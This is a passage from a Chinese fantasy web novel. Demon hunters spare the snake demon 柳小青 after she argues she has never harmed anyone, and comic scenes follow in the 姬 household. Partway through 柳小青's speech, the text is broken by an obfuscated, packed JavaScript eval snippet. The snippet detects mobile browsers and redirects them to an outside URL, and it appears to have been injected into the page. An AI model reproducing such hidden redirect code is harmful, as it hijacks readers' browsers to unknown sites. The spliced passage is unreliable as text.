西门翠花哭哭啼啼道:“不错，我昨日听得一清二楚，他们还说你如今病了，定然不是那个柳小青的对手。我不知道那个柳小青伤没伤过人，但她到处勾引别人，如今又勾引我儿子，我如何能不担忧？女侠，你可不能和柳少侠他们一样坐视不管啊！万一哪天那个柳小青想吃人了，把我儿子吃了怎么办？我就只有这一个儿子，他要是死了，我也不活了！女侠，你可一定要救救我儿子啊，我给你跪下了……” 说着竟真的跪在了地上。 沐嫣然赶忙起身将西门翠花扶了起来，并向她郑重承诺:“夫人放心，我绝不会让她伤到令郎。我这就去除了她！” 说罢拿起碧霄剑就要出门，祝少华忙扑上去拦住她:“师姐，你病还没好呢，你确定你现在就要去？” 沐嫣然不以为然道:“我的病早就好得差不多了，况且不是还有你和少白么？” 祝少华:“可是我觉得……” 她想说，既然柳惜朝他们知道柳小青是妖，却没有除她，必定有他们的理由。 然而沐嫣然可没工夫听她把这话说完，扔下一句:“你不想去就算了，我自己去！”就消失在了房间。 祝少华自然不能眼睁睁看着沐嫣然去送死，忙不迭叫上江少白，一起追了出去。 花容阁。 柳小青万万没有想到，沐嫣然的病竟好得这么快，并且这么快又来找自己麻烦。 她心道一句晦气，扔下一旁的顾客朝她走来，想问她又想发什么疯，结果还没来得及开口，就看见她拔出手中的长剑指着自己，喝道:“妖怪！看你今天能逃去哪儿！！” 柳小青猝然瞪大了双眼，后退一步，道:“你在胡说八道什么？什么妖怪？” 沐嫣然冷笑道:“还不承认？没关系，我现在就把你打回原形，看看你到底是什么妖！” 话音落，一道碧色的剑光瞬间朝柳小青斩了过来，柳小青闪身躲过，一掌劈在了沐嫣然的肩膀上。 沐嫣然吃痛，连退了好几步。 柳小青得意地笑道:“身子还没好利索呢，就急着来除我？早知如此，那日你出现在我府上，我就应该杀了你！再把你埋了！” “师姐！”就在这时，祝少华和江少白提剑闯了进来，见沐嫣然受了伤，对准柳小青就是一顿砍。 这一幕正好被店内的几名顾客瞧了个仔仔细细，整个花容阁霎时间人去楼空，顾客们边逃边喊道:“花容阁的老板是妖怪！花容阁的老板是妖怪！大家快跑啊！！！” 这下别说花容阁了，整条街都空了，只剩下了齐叔平一个人，孤零零地立在冷风中，双目无神，动也不动，也不知道在思考什么。 原来方才齐叔平正在街上闲逛，顺便思索怎样同柳小青开口提和离，她才不会揍他，就听见周围的人说柳小青是妖。 他腿一软，杵在原地发了好一会儿愣，还没反应过来这一切究竟是怎么回事，就看见自家娘子一阵风似的从自己身边飘了过去，紧接着就是沐嫣然，还有其他两个他从未见过的人。 “妖？娘子她是妖？不行，我得赶紧跑！”他回过神来，拔腿就跑，跑到一半又折了回来，“不行，我还是跟过去看看吧，毕竟夫妻一场，送她一程，替她收个尸也好。” 话说这几个人跑得可真够快的，眨眼间就没了踪影。他沿着他们方才飘过的方向追了过去，一直追到城外的一片树林，果然瞅见了他们几个。 只见那四个人在树海中闪来闪去，身影交错，快如闪电，若非穿着不同，他当真要分不出谁是谁了。 “天呐！”他躲在一棵大树后面，发自肺腑地感叹道，“娘子竟这般厉害？竟能以一敌三？看来打我的时候确实手下留情了。” 刚感叹完，视线就被一片绿海给遮掩住了。 大约是师姐弟三人剑气太盛的缘故，刹那间，风从四面八方呼啸而来，三人长剑挥舞，满地落叶随剑气而起，在周身形成一个巨大的牢笼，而后又随剑之所指，纷纷化作利剑朝柳小青刺了过去。 柳小青见状，赶忙唤出自己的武器——一把青色的软鞭，奋力挥舞起来。 约摸一刻钟后，眼前的树叶终于落地，齐叔平睁大眼睛，看见自家娘子已浑身是伤，武器被沐嫣然挑落至一旁，紧接着又被沐嫣然一掌劈得后退好几步。 眼看沐嫣然的长剑就要刺向自己的胸膛，柳小青急中生智，张口喊道:“好一个忘恩负义之徒！” 碧霄剑停在了半空中，沐嫣然似是不明白柳小青在说什么，皱了皱眉，道:“你说谁忘恩负义？！” 柳小青站直身子，捂着自己胳膊上的伤，朗声道:“姓沐的，你忘了那日你晕倒在路边，是谁救的你？！” 祝少华并不知道沐嫣然曾晕倒在路边，茫然道:“师姐，她救过你？” 沐嫣然神色未变，语气漠然道:“救我的是你的相公，而不是你这个妖孽！” 柳小青声音洪亮道:“可你躺着的床，是我柳小青的！喝过的水，是我柳小青亲手喂给你的！你懂不懂什么叫滴水之恩，当涌泉相报？！” 这话无疑让沐嫣然想起了那日的事。那日她醒来时，的确看见柳小青手里端着一杯水。 但仅凭几口水，就想让她放过她，休想！ 她狠下心道:“但你终究是妖！” “妖怎么了？！”柳小青怒道，“我柳小青虽是妖，但自问从未害过任何一条性命！你凭什么杀我？！” 沐嫣然想都未想便道:“即便你今日不害人，也难保他日不会！” 这简直是强词夺理！ 柳小青气极反笑:“好一个欲加之罪！你们这些捉妖的，总说我们妖今日不害人，难保他日不会害人，那我问你，你们人呢？你如何向我保证，你们人今日不害人，明日便不会害人？！” 林间一片碧绿，一人一妖面对面对峙着，又皆是一袭碧衫，仿佛要与这林间的苍翠融为一体。 沐嫣然手持碧霄剑，指着面前的妖，面容狠厉，握着剑的手却远远不及方才那般有力。 她想，柳小青说得对，害人的又岂止是妖？ 可她不愿承认她错了，她紧了紧手中的剑，又听柳小青道:“我且问你，我与你萍水相逢，何愁何怨，你要伤我至此？！你们人的命是命，我们妖的命就不是命么？！我柳小青敢对天发誓，自我成妖以来，从未伤过一人！我究竟做错了什么，你要对我赶尽杀绝？！你说！！” 一番言语，掷地有声，声声泣血。沐嫣然感觉自己像是一个犯了滔天大罪的犯人，而面前这个明明已经处于下风的妖，却仿佛一个高高在上为民请命的官，正在一一细数自己所犯下的罪行。 一旁的祝少华明显察觉到沐嫣然握着剑的手在发抖，她悄悄地朝后退了一步，示意江少白不要说话，也不要轻举妄动。 见沐嫣然迟迟不动手，也不说话，柳小青索性上前两步，撞上沐嫣然的剑尖，厉声道:“你们这些人可真奇怪，那么多恶人你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16165784|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不去抓，偏偏要逮着我们妖抓！我们妖全都是恶妖，你们人全都是好人，行了吧？！你杀了我吧！动手啊！！” 然而沐嫣然依旧直挺挺地立在原地，不置一词，也不动手。 她想起了那日沐辰风同她说过的话。 他说:“你不能因为自己被妖骗了，就觉得全天下的妖都是恶妖！” 错了，她真的错了。 齐叔平远远地望着这一幕，心道以柳小青巧舌如簧的本领，今日多半是死不了了，自己何不出去添一把柴，将这火烧得更旺一些。 于是，他装作一副情深义重的模样，跌跌撞撞地朝那四人跑去，边跑边大声喊道:“不要伤我娘子！不要伤我娘子！” 沐嫣然本就意欲放柳小青一马，此刻见齐叔平冲了过来挡在了柳小青的面前，不由好奇道:“你可知她是妖？人妖殊途，你为何……” “我知道！”齐叔平头一次被人用剑指着，胆都快吓破了，但为了钱，他也顾不得这些了！ 他鼓起勇气道:“我方才听他们说了，可是……可是我娘子与我成婚多年，从未做过一件坏事，你们不能杀她！” 这般痴情的男子，倒是世所罕见。 沐嫣然不禁想起了姬小宝那茬事，盯着柳小青道:“他待你如此情深，可你呢？你与他既已成婚，便应当好好待他，怎可三心二意，玩弄他人感情？！” “笑话！”柳小青冷笑道，“他们男人三妻四妾，今日拥这个，明日抱那个，却不允许我们女人三夫四侍，这是什么道理？！况且我与那姬小宝什么都没干，只是聊了几句天而已，我玩弄他什么了？！” 这话确实有理，沐嫣然竟对此妖生出了一丝钦佩之情，但很快就压下去了。 她以为柳小青接下来会感谢齐叔平，可她没有，她瞪着齐叔平道:“齐叔平！你少在这里假惺惺了！你对我能有几分情意？！你当真以为我不知道你在打什么如意算盘么？！你若真想救我，何必躲到现在才出来？！” 齐叔平没想到柳小青早已发现自己，立时倒吸了一口凉气。 沐嫣然眉心一蹙，看了眼齐叔平，见他表情心虚，便知柳小青所言非假。 可齐叔平哪里会承认，他绞尽脑汁反驳道:“娘子，你这话什么意思？我齐叔平自与你成婚以来，何曾做过对不起你的事？可是你呢？你与那个姬小宝纠缠不清，闹得整个禾县人尽皆知，人人皆笑话我，可即便如此，我又何曾对你撒过气？是，我方才是没有及时出现救你，可那也是因为我胆小且不会武功，难道这也有错么？” 柳小青丝毫不被他的谎言所骗，讥笑道:“看来你对我当真情深义重啊，不如这样，三郎，倘若我今日未死，咱们日后换个地方继续做夫妻，再也不分开，可好？” 继续做夫妻？齐叔平瞪大眼睛看着柳小青，心想这不是要他的命么？他本就不想和她过了，如今又得知她是妖，逃都来不及，谁要与她再也不分开？ 他下意识地朝沐嫣然的方向靠近了几步，吞吞吐吐道:“娘、娘子，不是我不想，而是……你是妖，我是人，人妖殊途……” “我是妖怎么了？！”柳小青吼道，“以前你不知道我是妖的时候，我们俩不也过得好好的么？！更何况这些年来，你吃我的喝我的睡我的，离了我，谁还会如此待你？！该不会你想等我死了，霸占我的钱和铺子吧？！” 目的被揭穿，齐叔平不由心头一跳，目光闪烁道:“反正……反正人妖殊途，我与你已再无可能！”他一溜烟地跑到沐嫣然身后躲了起来，颤颤巍巍道:“女侠，快，快除了她，否则她日后不会放过我的！” 只要柳小青死了，日后她的钱她的铺子就全都是他的了！他就再也不必担心她会突然出现夺走这一切了！ “齐叔平！！”柳小青登时怒不可遏，指着齐叔平骂道，“你这个忘恩负义的狗东西！我以后就算做鬼也不会放过你！！” 齐叔平更害怕了，催促沐嫣然道:“女侠，快动手啊，她可是妖，你还在犹豫什么？你难道要眼睁睁地看着她把我杀了么？我可是你的救命恩人！” 本来沐嫣然都快被她说动了，结果这个该死的齐叔平又跳出来横插一脚。柳小青简直要被这个贱男人给气死了，暗骂她真是瞎了眼，碰上这么一个白眼狼！ 她以为她今日死定了，结果却见沐嫣然收剑归鞘，拔腿就朝林外走去。 夫妻二人皆是一惊，尤其是齐叔平，疾跑两步跟在沐嫣然身后叫道:“哎哎哎！女侠，你可不能就这样放过她，万一她日后要杀我怎么办？！” 沐嫣然回过身，没有丝毫犹豫，照准齐叔平的脸就是一个巴掌，喝道:“自己看着办！” 夫妻一场，他竟如此绝情，打他一顿都是轻的！ 齐叔平被这突如其来的一个巴掌甩得两眼昏花，张大嘴巴，好半天才回过神来。他望着沐嫣然怒气冲冲且越来越远的背影，扯开嗓子大声喊道:“自己办就自己办，你打我做什么？！我跟你很熟么大姐？！！” 这女人简直不可理喻！他冒着大雨把她救回来，她就这样回报他？！ 正愤怒得不行，就听见背后传来一个凉嗖嗖的声音，像蛇一样:“三郎，眼下这禾县我是待不得了，临走前，我有一份大礼要送给你。” 他回身看她，咽了一口唾沫，道:“什……什么大礼？” “当然是，”柳小青微微一笑，摩拳擦掌道，“再揍你一顿了！” 49. 人间37 西门翠花在客栈里焦急地等待着，见沐嫣然一行人出现，立刻扑上去问道:“怎么样女侠？那个柳小青死了没？” 沐嫣然沉着脸，一语不发。 祝少华实话实说道:“很抱歉西门夫人，她没死，但她日后应当不会出现在禾县了，也不会去找令郎了。” 西门翠花一脸错愕:“你这话是什么意思？什么叫以后不会出现了但又没死？你们不是专门去杀她了么？” 江少白道:“西门夫人放心，如今整个禾县的人都知道她是妖了，想必日后她不会再来此地了。更何况她从未伤过人，我们没有理由杀她。” 西门翠花仍是不理解，追着几个人喊道:“可是她是妖啊！你们怎么能让她逃了？万一她日后又跑回来害人怎么办？姓沐的！你方才是怎么答应我的？！” 祝少华回身看她，礼貌笑道:“西门夫人，我师姐受了伤，需要休息，您请回吧。” 对于沐嫣然放过柳小青一事，祝少华可谓又惊又喜。惊的是沐嫣然以往逮着妖就砍，今日却唯独放过了柳小青，喜的是沐嫣然终于对妖放下了偏见，日后她再也不必跟在沐嫣然身后担惊受怕了。 她关上房门，问沐嫣然:“师姐，你方才受了伤，要紧么？” 沐嫣然放下碧霄剑，摇了摇头:“没事，一点小伤而已，切记不要让阿泽他们知道。” 祝少华脸现愧色，道:“只怕他们很快就会知道，柳小青被我们赶出禾县了。” 与此同时，洛纤凝正拉着从笑在院子里散步，一会儿看看池塘里的鱼，一会儿逗逗笼子里的鸟，一会儿又嗅嗅周围种着的花，忽然就听见有人喊道:“不好了不好了！柳……柳老板她是妖！” 两个人抬起头，见是一个丫鬟，冒冒失失地从大门外奔了进来，一脸慌张，好像有人在后面追她似的。 霎时间，所有的丫鬟小厮全都聚在了一起，交头接耳了起来。 “什么？！柳老板是妖？！真的假的？！” “千真万确！现在整个禾县的人都知道了！说是有三个捉妖的发现柳老板是妖，闯进花容阁就是一顿乱砍，然后又追着柳老板出了城，柳老板这会儿估计已经……” 从笑一听这话，瞬间脸都白了，喊了句:“小青姐姐！”拔腿就要往城外跑。 洛纤凝拉住她道:“笑笑先别急，我们叫上你阿泽哥哥他们一起。” 她严重怀疑这三个捉妖的是沐嫣然、祝少华和江少白，若真是如此，还是多带几个人比较好。 三人一妖慌里慌张就朝城外跑去，好一番寻找，终于在树林里找到了柳小青，以及……被她打得鼻青脸肿的齐叔平。 齐叔平一见有人过来，二话不说撒腿就朝几个人跑来，躲在几个人的身后鬼哭狼嚎道:“救我！救我！这个妖怪她要杀我！” 从笑跑上前去抱住柳小青，又是兴奋又是害怕:“太好了小青姐姐！你没有死！我还以为……小青姐姐，你受伤了，都流血了……” “没事儿，都是小伤。”柳小青摸着从笑的脑袋笑道，“笑笑别哭，我这不是活得好好的么？” “柳老板！”沐灵泽上前问道，“敢问方才追你出城的是何人？” “还能是谁？”柳小青没好气道，“当然是那个一脸晦气样的女人了！” 沐灵泽知道这个一脸晦气样的女人必定就是沐嫣然了，急得脸都红了:“那她人呢？你把她怎么了？” 柳小青道:“我能把她怎么样？我一个人又打不过他们三个！” 沐灵泽松了口气，紧接着又道:“那他们人呢？他们去哪儿了？还有，他们为什么没有杀你？” 以沐嫣然的性子，既然打得过柳小青，那必然没道理会放过她。 然而柳小青接下来的话却让他大吃一惊，她说:“当然是走了，我又没伤过人，他们凭什么杀我？！” “什么？！”这下不止沐灵泽，沐辰风都被惊到了，“我堂姐她竟然放过你了？！这怎么可能？！” 这简直匪夷所思！以往的沐嫣然可不是这样的，但凡是妖，管它是好是坏有没有伤过人，拔剑就是一顿砍，怎么偏偏这次就心软了？ “对不起柳老板，”沐灵泽忽然出声，神色歉然道，“方才砍伤你的人是我阿姐，还有我的师兄和师姐，我替他们向你说声对不起，希望你不要和他们计较。我阿姐她这个人就是这样，总觉得全天下的妖都是坏的，我也不知道她这次为什么会放过你，但你一定要相信我，我阿姐她心地不坏的，她就是……” “行了别跟我说这些了！”柳小青不耐烦地打断沐灵泽的话，“我懒得跟她计较！反正禾县我是待不得了，我们就此别过吧！” “小青姐姐！”从笑拉住柳小青的衣袖，依依不舍道，“你要是实在没地方去，不如跟我回旸山吧？那里起码安全一些。” 柳小青刮了刮从笑的鼻子，笑道:“好意我心领了，不过，你不是说你们旸山很无聊么？我这么一个爱热闹的妖，你让我待在那么无聊的一个地方，那不是要我命么？” 从笑低下头道:“好吧。”又抬起头看着柳小青，泪眼汪汪道:“那小青姐姐，以后你要是实在混不下去了，一定要来旸山找我！” 柳小青失笑道:“好，等以后我混不下去了，一定去旸山找你。” 说完这话，她走到瑟瑟发抖的齐叔平跟前，冲他吼道:“齐叔平！我方才跟你说的话你记住了没？！把我的钱什么的都给我准备好，过几日我亲自过来取！别跟我耍什么花招，否则我一定趁你半夜睡着，吸干你的精气！” 齐叔平吓得连连点头:“好！好！你放心，你的钱我一分都不敢要！” “那样最好！”柳小青抬脚又给了齐叔平一脚，这才扬长而去。 “好啦不哭啦！”见从笑盯着柳小青的背影哭得泣不成声，洛纤凝上前几步搂住她的肩膀，安慰她道，“你小青姐姐这么厉害，连沐姐姐都不能拿她怎么样，你就放心吧！” 她转头去看沐灵泽和沐辰风，见沐辰风还杵在那里惊讶:“堂姐竟然放过柳老板了？这还是堂姐么？该不会刚才那三个人不是堂姐他们吧？” 沐灵泽道:“不行，我得去看一看我阿姐，看看她有没有受伤。” 他风风火火就朝客栈跑去，到了客栈，恰好看见祝少华从沐嫣然的房间里出来，并将房门关上。 他三两步窜了过去，迫不及待地问祝少华:“少华师姐，方才追柳老板出城的，是你们么？” 祝少华做了一个噤声的手势，道:“你阿姐睡着了，我们下去说。” 骄阳似火，洛纤凝刚迈进姬府的大门，迎面就看见了姬小宝。 此人跟只猴似的，跳过来抓住她的肩膀就开始问她:“洛姑娘，我娘还有那些下人说，小青姐姐她是妖，是真的么？！” 柳惜朝出现在姬小宝的身后，不胜其烦道:“是真的，我方才不是跟你说了么？你连我的话都不信？” “可是……可是柳大哥，你早就知道小青姐姐她是妖，为什么不早告诉我？！”姬小宝跳到柳惜朝的面前，怒气冲冲道。 柳惜朝翻了个白眼，道:“我也是这几日刚知道的，而且我正在想该怎么和你开口，你才不会将此事闹得人尽皆知，毕竟人家柳老板也没干过什么坏事。” 姬小宝:“……” 洛纤凝迈着轻快的步伐踱到姬小宝的面前，笑吟吟道:“是真的哦，你的小青姐姐她确实是妖，而且还是一只千年蛇妖，你怕不怕？” 姬小宝:“什、什么？蛇妖？！” 洛纤凝举起手，将五根手指头并在一起，在姬小宝面前晃来晃去，故意吓他道:“没错，是蛇妖，我方才亲眼所见她变成一条蛇从我面前飞了过去，嘴里还吐着长长的信子，你怕不怕？” 本来姬小宝还没那么害怕，但是听洛纤凝这么一描述，他顿时咽了口唾沫，两只眼睛转着圈，道:“蛇、蛇……我最害怕的就是蛇了。” 语毕，两只眼珠子向上一翻，便倒在了地上。 洛纤凝朝后一跳，道:“不是吧？这就晕了？” 接下来的几日，沐嫣然在客栈养病，柳惜朝等人则日日在姬府听姬小宝鬼哭狼嚎。 洛纤凝躺在红木摇椅中，扇着扇子道:“不知道姬小宝这会儿还哭着没，师姐，我们去瞅一眼呗？” 林惜英倚在门边，看都懒得看她一眼:“要去你自己去，我可没那癖好。” 洛纤凝一骨碌跳了起来，对一旁的从笑道:“也罢，笑笑，我们两个去瞅一眼吧！” 两个人大摇大摆地来到了姬小宝的房门前，看见西门翠花坐在外面的石桌旁，用手帕抹着眼泪，哭哭啼啼道:“小宝啊，你都两天没吃东西了，你好歹出来吃一点啊，你要是饿出了什么三长两短，为娘可怎么办啊……” 在她旁边，坐着柳惜朝，正喝着茶，一言不发。 洛纤凝拉着从笑溜了过去，问柳惜朝:“大师兄，他哭完了没？” 柳惜朝瞥了她一眼，没有搭理她。 洛纤凝拉着从笑坐下，听见房间里又传出姬小宝的哭声:“小青姐姐，你骗我骗得好苦啊！你怎么可能会是妖，还是蛇妖！呜呜呜……” 洛纤凝:“……” 此人是真能哭啊。 隔了一会儿，西门翠花又抽抽噎噎道:“柳少侠，你确定那个柳小青不会再回来么？万一她知道是我请人去除的她，会不会……” 柳惜朝还未来得及开口，洛纤凝就抢着道:“你就放心吧西门大……夫人，齐叔平都那样对柳老板了，柳老板也只是把他打了一顿，又怎么可能会回来找你和姬小宝的麻烦？” 西门翠花拍了拍胸脯，长出一口气道:“那就好。” 她擦了擦眼泪，竟又替柳小青惋惜了起来:“话说这个齐叔平可真不是个东西，夫妻一场，他竟巴不得柳小青去死，他忘了他当初走投无路，是谁好心收留的他。这个柳小青也真是，什么眼光啊，依我看，这世上的男人就没有一个靠得住的，当然，除了我们大昭的摄政王，我们摄政王啊，说句绝世好男人都不为过……” “摄政王？”洛纤凝饶有兴趣道，“那是什么东西？” 西门翠花一甩手帕，朗声道:“摄政王他不是个东西！呸，我的意思是说，摄政王他……他是个王爷，不是你口中的什么东西！普天之下，除了皇帝，他的地位最高，甚至比皇帝还要高，懂了么？” 洛纤凝:“好像……懂了。西门……姐姐，你方才说，摄政王是个靠得住的好男人？他好在哪儿？” “唉！”西门翠花重重地叹了一口气，望着天边，徐徐而道，“说来话长啊！这摄政王原本是先帝最厌恶的兄弟，先帝在位时，常常唤他进宫当消遣，不是拿他当靶子练箭，就是拿他当马骑，甚至还……还趁他不在王府时，霸占了他的王妃……” “什么？！”洛纤凝拍案而起，额头青筋暴起，“岂有此理？！那这先帝也太不是个东西了吧？！” 柳惜朝被洛纤凝这一反应给吓了一跳，嫌弃地看着她，道:“你一惊一乍干什么？坐下！” 洛纤凝讪讪一笑，坐回原位，又追问道:“那这摄政王的王妃后来如何了？” “还能如何？ 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被乌鸦琢瞎了双眼？几个人听到此处，已是惊恐万状，心中疑云重重洛纤凝咋舌道:“这也太巧合了吧？先帝、荣王、誉王，这三个人接连都出了事？唯独宁王好好的？那这事该不会是宁王干的吧？” 西门翠花瞥她一眼，道:“你都能猜到，那朝中那些大臣又岂会猜不到？可关键是没有任何证据证明此事是宁王所为。后来的事你们应该也猜到了，宁王便顺理成章地成为了我们大昭的摄政王，可谓万人之上，威风凛凛啊！” 思忖片刻，洛纤凝道:“你们说，这个摄政王该不会被妖怪给附身了吧？” “不可能！”西门翠花斩钉截铁道“为何？”洛纤凝奇道。 西门翠花道:“你以为朝堂是什么地方？那些大臣是吃干饭的，连一只妖都分辨不出么？于是后来，就有传言称，这位摄政王通鸟语，起因是有位官员称自己曾亲眼目睹过摄政王在和一只乌鸦说话……” 和乌鸦说话？通鸟语？这世间竟真的有这种人？ 洛纤凝道:“所以先帝和荣王一事纯属巧合？只有誉王一事与摄政王有关喽？” 西门翠花道:“也不是不可能，毕竟这位誉王平时没少仗着自己出身高贵便欺负摄政王，动辄对摄政王拳脚相加，如此奇耻大辱，谁不记恨？ “刚开始我也很纳闷，这摄政王怎么忽然像变了个人似的，从前他在先帝和大臣面前连大气都不敢出，如今却能将那些大臣玩弄于股掌之中，可后来仔细想想，一个人被欺辱到了如此境地，又岂会与从前一样，保持一颗赤子之心？你们说，我说的对吧？” 洛纤凝支着下巴点了点头，心想此话确实有理。 话说这皇家可真够乱的，动辄便是父子反目，兄弟反目，甚至还互相抢女人。这天底下是只剩下了一个女人么？不和女人睡觉会死啊！ 荒唐，简直太荒唐了！ 她又想起什么，忙道:“那个……西门姐姐，你还没说这个摄政王到底好在哪儿呢。” “瞧我这记性！”西门翠花甩了甩手帕，一本正经道，“自从宁王妃离世之后，摄政王再未碰过任何一个女子，至今都未续弦，连个通房都没有，你们说，这不是好男人这是什么？” 洛纤凝惊呼一声，道:“这确实是好男人！” 她要是这么有钱还这么有权，早都玩得不知天地是何物了。 “谁说不是呢！”西门翠花喝了口茶，义愤填膺道，“老天真是不公啊，这么好的男人怎么就没让我遇到呢？偏偏让我遇到一个短命鬼，年纪轻轻就守活寡，一边操持家业，一边还要拉扯儿子长大，偏偏儿子还不听话，被一个狐狸精……呸，被一个蛇妖给迷了眼，简直跟他老子越来越像了！说到他老子我就一肚子气，人都快不行了还想着纳妾，还好死得及时，不然……啊呸，我跟你们说这些干什么？真是的，家丑不可外扬，你们聊，我再去劝劝小宝。” 洛纤凝:“……” 她盯着西门翠花晃来晃去的背影，对柳惜朝道:“大师兄，我怎么感觉西门大妈方才提到自己丈夫早死时，好像很开心的样子。”柳惜朝:“……我也觉得。” 洛纤凝低头去看从笑，见她趴在桌上睡得迷迷瞪瞪的，不由乐道:“大师兄，你看笑笑她多可爱，要不我们就先带着她，等回长绝山之前再把她送回旸山，你说好不好？不然万一她遇到危险了，那只大妖为了给她报仇，出来祸害人间怎么办？你说对吧？” 有道理。柳惜朝正要发话，突然，房门“砰”的一声被拉开，姬小宝出现了几个人的视线当中。 西门翠花喜道:“小宝，你想通……” “柳大哥！”不等西门翠花将话说完，姬小宝就跟只猴子似的窜到了柳惜朝的跟前，“柳大哥，你带我去长绝山吧！我决定了，我要成为和你们一样厉害的人！四处游历，斩妖除魔，守护苍生！反正小青姐姐已经走了，我一个人待在这里也没什么……” “守护你个鬼啊！”西门翠花不知何时也奔了过来，闻言揪住姬小宝的耳朵就是一顿吼，“姬小宝！我跟你说过多少遍了，你要是敢丢下我一个人跑去修什么仙，我就找根绳子把我自个儿吊死！你听不懂还是怎么回事？！还守护苍生，你先把咱们姬府守好再说吧！” 姬小宝疼得嗷嗷直叫，但依旧不肯向西门翠花服软。柳惜朝起身道:“小宝，不是我存心打击你，别说修仙了，你连学武的资质都没有，你以后还是跟着你母亲好好学做生意吧。” “啊？！”姬小宝瞪大双眼大叫道，叫完两眼一翻，又晕了过去。 洛纤凝:“……不是吧？又晕？” 50. 人间38 这天，洛纤凝坐在廊下，撑着下巴自言自语道:“唉，接下来去哪儿呢？眼看这三个月都过去一半多了。” 坐在她身侧的沐灵泽闻言，转了转眼珠，试探着问:“要不……去我们西祁吧？” 洛纤凝瞅他一眼，道:“去那儿干嘛？那么远，我才不去呢。” 沐灵泽:“……不去算了。” 两个人喝着茶，安安静静地望着天空发呆，思考接下来该去哪儿，忽然，耳边传来一阵鬼哭狼嚎，打破了这份寂静，紧接着，墙角就窜出一个人来。 二人定睛一看，竟是沐辰风。 只见沐辰风慌里慌张地跑到二人跟前，扯开嗓子鬼叫道:“啊！！！那个西门大妈，她……她调戏我！！！” 什、什么？！ 洛纤凝差点一口茶把自己给噎死。 西门大妈调戏沐辰风？她没听错吧？ 沐灵泽已经大叫了起来，“嗖”的一声从台阶上蹦了起来:“什么？！西门夫人她调戏你？！真的假的？！他调戏你哪儿了？！” “她……她摸我的手！”沐辰风举着自己白白净净的爪子，一副生无可恋的模样，“她还让我留在他们姬府陪她，呜呜呜……谁要留在这里陪她这个丧心病狂的老女人！” “她怎么能这样呢？！简直人面兽心！”沐灵泽脸现怒色，张口骂道，“亏我还觉得她人挺好的，真是知人知面不知心！” “就是！”洛纤凝凑了过来，假装一副很生气的样子，“这个西门大妈，她怎么能这样呢？！对你都能下得去手，真是一点都不挑啊！” 沐灵泽:“……” “……洛纤凝！！！”沐辰风伸手掀开沐灵泽，面朝洛纤凝暴喝道，“你这话什么意思？！你听听你说的这是人话么？！！” 这个洛纤凝，竟然能说出这种话，简直太歹毒了！没准等她以后老了，也和西门大妈一个德行！ 洛纤凝笑嘻嘻道:“你先别生气嘛，据我观察，西门大妈年轻时一定是个大美人，不然姬小宝也不会长得这么好看，如今也不过是比你大了那么一点点而已。依我看，沐辰风，不如你就从了她吧！反正西门大妈这么有钱，长得还好看，将来你跟着她，必定丰衣足食，不愁……” “洛纤凝！”沐辰风越听越觉得她这话离谱，暴跳如雷地朝她吼道，“什么叫比我大了一点点？那是一点点么？！她那年纪，都能给我当娘了好吧！士可杀不可辱！要从你自己去从吧！我还这么年轻这么英俊，可不能被一个老女人给夺了清白！” 洛纤凝仰天大笑道:“你不要这么激动嘛，我不过是跟你开个玩笑而已……” “沐公子！” 正说着，就听见西门翠花的声音远远地飘了过来，沐辰风浑身一个激灵，道:“完了，西门大妈追过来了，阿泽，我先走一步，你自求多福吧！” 说罢就要翻墙而出，沐灵泽连忙喊道:“喂！你去哪儿？！” 沐辰风:“清白要紧！我去找少白师兄他们了！这鬼地方我不住了！” 洛纤凝盯着沐辰风落荒而逃的背影，啧啧叹道:“是谁当初一口一个西门姐姐，叫得那叫一个亲热，哼，这下遭报应了吧！” 沐辰风前脚刚消失，西门翠花后脚就追了过来，四处张望了一下，然后问沐灵泽:“沐公子，你可看见你堂兄了？” 沐灵泽愠怒道:“西门夫人，你怎么能对我堂兄做这种事呢？你……” “我对他做什么了？”西门翠花眉头紧皱看着沐灵泽，浑然不觉自己做错了什么，“我不过就是一不小心碰了一下他的手而已，你看，我这不是来跟他道歉了么？他人呢？” 沐灵泽:“……” 洛纤凝慢悠悠地踱到了西门翠花的跟前，幸灾乐祸道:“西门姐姐，都是女人，我理解你，但你这也太着急了点吧？你看你把人家都吓跑了！” “跑了？！”西门翠花似是没想到，以自己的魅力，竟能将人吓跑，她问:“跑哪儿去了？” 洛纤凝用下巴指了指沐嫣然所在的方位，道:“还能去哪儿？当然是去找他堂姐了，西门姐姐，你该不会要追到他堂姐那里去吧？他堂姐可不是好惹的哦。” 一想到沐嫣然那张脸，西门翠花登时就怵了。她想，洛纤凝说得对，她怎么把沐嫣然给忘了，这要是沐嫣然找上门来，那还了得！ 她赶忙咳嗽一声，道:“既然这样，那……你们忙，我也忙我的去了。” 目送西门翠花远去，沐灵泽愤愤道:“这个西门夫人真是太可恶了！要不我们也搬走吧？” 洛纤凝瞅着他道:“搬哪去？搬出去不需要钱啊？姬府多宽敞啊，每天好吃好喝有人伺候，不比住客栈舒服多了？再说了，我一个女的，西门大妈总不至于跑来调戏我吧！” 沐灵泽:“那……你不搬，我也不搬！” 洛纤凝:“你不怕西门大妈调戏你啊？” “不怕！”沐灵泽眼神坚定，语气铿锵，“她要是敢来调戏我，我就……我就……” “你就干嘛？” “我就让你保护我！” 洛纤凝:“……” 还以为他要揍西门大妈一顿，或者去找沐嫣然呢，看来是她高估他了。 她拍了拍他的肩膀，宽慰他道:“放心，我方才已经暗示过她了，有你阿姐在，她是不敢对你动手动脚的。” 说完这话，她撒腿就朝林惜英的房间奔去。 林惜英浑然不知接下来会发生什么，她百无聊赖地望着窗外，自言自语道:“也不知道师父闭关结束了没，她若是知道我私自下山，会不会……” 尚未忧郁完，就听见洛纤凝那猖狂的笑声如洪水一般冲进了她的耳朵，像是要将她的脑浆都冲出来。下一刻，笑声的主人就出现在了她的视线当中，扶着门框，笑得上气不接下气。 林惜英眉心一抽，像看傻子一样看着洛纤凝:“又发生什么了？” 